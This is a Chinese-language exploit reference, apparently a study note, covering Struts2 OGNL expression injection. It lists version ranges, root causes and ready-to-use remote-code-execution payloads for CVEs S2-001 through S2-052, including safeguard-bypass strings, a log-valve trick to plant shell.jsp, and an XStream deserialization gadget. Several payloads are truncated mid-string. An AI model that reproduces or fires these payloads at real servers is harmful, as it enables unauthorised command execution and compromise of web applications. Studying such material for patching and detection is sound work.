1. Struts2—OGNL
1.1 基本语法
OGNL具有三要素: 表达式、ROOT对象、上下文环境(MAP结构)。处理OGNL的最顶层对象是一个Map对象,通常称这个Map对象为context map或者context,OGNL的root就在这个context map中,在表达式中可以直接引用oot对象的属性。
Student rootUser = new Student(1,"tom","JAVA",82); Map<String, Student> context = new HashMap<String, Student>(); context.put("user1",new Student(2,"John","JAVA",78)); context.put("user2",new Student(3,"zhangsan","JAVA",63)); OgnlContext oc = new OgnlContext(); //ognl由root和context两部分组成 oc.setRoot(rootUser); oc.setValues(context); //get ognl的root的值的时候,直接写希望获取的值的名字就可以了 String name = (String) Ognl.getValue("name",oc,oc.getRoot());//tom Integer score = (Integer) Ognl.getValue("score",oc,oc.getRoot());//82 //get ognl非root的值的时候,需要使用# Student name1 = (Student) Ognl.getValue("#context['user1']",oc,oc.getRoot()); String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());//zhangsan Integer score1 = (Integer) Ognl.getValue("#user1.score",oc,oc.getRoot());//78 Integer score2 = (Integer) Ognl.getValue("#user2.score",oc,oc.getRoot());//63 //ognl的getValue函数可以直接执行java函数 Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot()); //10 //访问静态属性和方法的时候需要使用@ Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')",oc.getRoot());//getValue具有代码执行能力 //命令执行 OgnlContext context2 = new OgnlContext(); //@[类全名(包括包路径)]@[方法名|值名] Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context2, context2.getRoot()); Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");
在Structs中,OGNL的context变成了ActionContext,root变成了valueStack。ActionContext中包含三个常见的作用域request、session、application。
ActionContext AC = ActionContext.getContext(); Map Parameters = (Map)AC.getParameters(); String expression = "${(new java.lang.ProcessBuilder('calc')).start()}"; AC.getValueStack().findValue(expression));
1.2 CVE漏洞
(1)s2-001
适用版本:2.0.0 – 2.0.8
漏洞成因:当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。关键函数在TextParseUtil.translateVariables
注入点:参数值
payload:
//简易无回显 %{
(2)s2-003
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue
注入点:参数名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
此payload的url未编码的样子是:(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)&(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b)
,可以发现把敏感字符(@ = #都写成了\u00??的形式)转义绕过acceptableName中设置的黑名单,
(3)s2-005
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003的补丁,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁
注入点:参数名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
(4)s2-007
适用版本:2.0.0 – 2.2.3
漏洞成因:当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue
注入点:参数值
payload:
user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com
(5)s2-009
适用版本:2.0.0 – 2.3.1.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003和s2-005,把RCE的位置从参数名改到了参数值
OgnlContext context = new OgnlContext(); Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)"); Ognl.setValue("a[(password)(glassy)]",context,"true");
第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。
注入点:参数名+参数值
payload:
http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true
(6)s2-012
适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
漏洞成因:计算重定向url的时候会把重定向参数的值放入ognl.getvalue中
注入点:重定向参数
payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()}
这里没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因)
(7)s2-013
适用版本:2.0.0 – 2.3.14.1,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get
漏洞成因:计算标签中action路径的时候,会把参数值带入ognl.getvalue
注入点:使用特殊s:url或者s:a标签的action的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d
(8)s2-015
适用版本:2.0.0 – 2.3.14.2,使用通配符‘*’来做action映射的时候才能利用成功。和012类似。
漏洞成因:计算重定向url的时候会把action的值放入ognl.getvalue中
注入点: action值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action
(9)s2-016
适用版本:2.0.0 – 2.3.15
漏洞成因:ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。和012类似
注入点: action:或redirect:\redirectAction:后面的值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d
(10)s2-019
适用版本:2.0.0 – 2.3.15.1,要求ST2开启开发者模式。
漏洞成因:从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
注入点:debug和expression的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()
补:s2-020
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
(11)s2-029
适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
漏洞成因:返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue。
注入点:写入jsp中st2标签特殊属性值中的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream()))
(12)s2-032
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外),要求在struts.xml中将DynamicMethodInvocation设置为true才能利用
漏洞成因:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。
注入点:method:后的参数值
payload:
http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes
(13)s2-045
适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
漏洞成因:上传组件的问题导致的RCE漏洞,ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue
注入点:Content-Type的值
payload:
Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=
补:s2-046
payload:
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
(14)s2-048
适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
漏洞成因:ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue
注入点:传入ActionMessage的key中的参数值
payload:
name=${(#glassy='multipart/form-data').(#_memberAccess=
补:s2-052
反序列化漏洞
payload:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done>